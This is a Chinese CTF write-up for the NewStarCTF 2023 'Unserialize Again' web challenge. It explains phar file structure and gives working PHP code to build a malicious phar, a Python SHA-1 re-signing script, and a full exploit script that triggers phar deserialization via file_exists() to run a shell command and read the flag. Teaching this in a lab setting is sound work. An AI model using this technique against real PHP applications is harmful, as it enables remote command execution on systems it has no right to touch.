Newstar week5 WEB Unserialize Again(phar反序列化,__wakeup()绕过,phar重签名)

目录

Phar文件主要部分:

1. stub 文件标识

2. manifest

3. contents

4.signature

题目:


Phar文件主要部分:

1. stub 文件标识

stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。(这里我们可以伪造一个图片文件或者pdf文件来绕过一些上传限制)

2. manifest

Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存(当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化)

3. contents

被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

4.signature

phar的最后有一段signature,是phar的签名,放在文件末尾,如果我们修改了文件的内容,之前的签名就会无效,就需要更换一个新的签名

在文件系统函数(file_exists()、is_dir()等详见下表)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

题目:

打开源码提示cookie,抓包发现pairing.php文件

访问文件得到源码如下:

 <?php
highlight_file(__FILE__);
error_reporting(0);  
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){
        $this->user='human';
        if(1==1){
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){
        $this->user='AshenOne';
        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin'&&$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true'&&$this->user=='admin'){
            system($this->eating);
        }
        else{
            die('Get Out!');
        }
    }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){
    // $Eden=new story();
    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);
}
else{
    echo '多吃雪梨';
} 

其中后部分提取到关键信息有:

if(isset($_GET['pear'])&&isset($_GET['apple'])){

    $pear=$_GET['pear'];

    $Adam=$_GET['apple'];

    $file=file_get_contents('php://input');   //获取post的数据并赋给$file

    file_put_contents($pear,urldecode($file));   //写文件,文件名是$pear,内容是$file

    file_exists($Adam);   //phar反序列化触发点

}

在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作, 所以 file_exists($Adam); 是phar反序列化触发点

我们最终想要执行的代码是__destruct()里面的

if($this->God=='true'&&$this->user=='admin'){
            system($this->eating);

}

 phar文件生成:

<?php
class story{
	public $eating = 'cat /f*';  //赋值要执行的命令
	public $God='true';  //满足if条件
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>"); //设置stub
$o = new story();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test");  //添加要压缩的文件
$phar->stopBuffering();

因为重新赋值修改了文件的内容,之前的签名就会无效,所以需要更换一个新的签名,签名用sha1加密,生成新签名的脚本如下:

from hashlib import sha1
with open('1.phar', 'rb') as file:
    f = file.read()  #打开名为1.phar的文件,以二进制只读模式读取文件内容,并将其存储到变量f中
s = f[:-28]  # 获取要签名的数据(s)
h = f[-8:]  # 获取签名类型和GBMB标识(h)
newf = s + sha1(s).digest() + h # 对要签名的数据进行SHA-1哈希计算,并将原始数据、签名和类型/标识拼接成新的数据newf
with open('newtest.phar', 'wb') as file:
    file.write(newf)

# 将处理后的数据newf写入到一个名为newtest.phar的新文件中,以二进制写入模式。

最后读取 newtest.phar 的内容进行url编码post传上去,get传 ?pear=1.phar&apple=phar://1.phar 即可

也可以用python脚本让后面两步并作一步直接完成修改签名和上传

from hashlib import sha1
import urllib.parse
import os
import re
import requests
pattern = r'flag\{.+?\}'
url="http://87ab80e5-0c08-4d4f-a179-2718e0526959.node4.buuoj.cn:81/"#替换为题目靶机地址params={
    'pear':'1.phar',
    'apple':'phar://1.phar'}
if os.path.exists('1.phar'):
    with open('1.phar', 'rb') as file:
        f = file.read()
     s = f[:-28]
    h = f[-8:]
    newf = s + sha1(s).digest() + h
    with open('newtest.phar', 'wb') as file:
        file.write(newf)
    os.remove('1.phar')with open('newtest.phar','rb') as fi:
        f = fi.read()
        ff=urllib.parse.quote(f)
        # print(ff) 
        fin=requests.post(url=url+"pairing.php",data=ff,params=params)
        matches = re.findall(pattern, fin.text)
        for match in matches:
            print(match)
# os.remove('newtest.phar')

参考官方wp:

NewStarCTF 2023 Week5 官方WriteUp

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值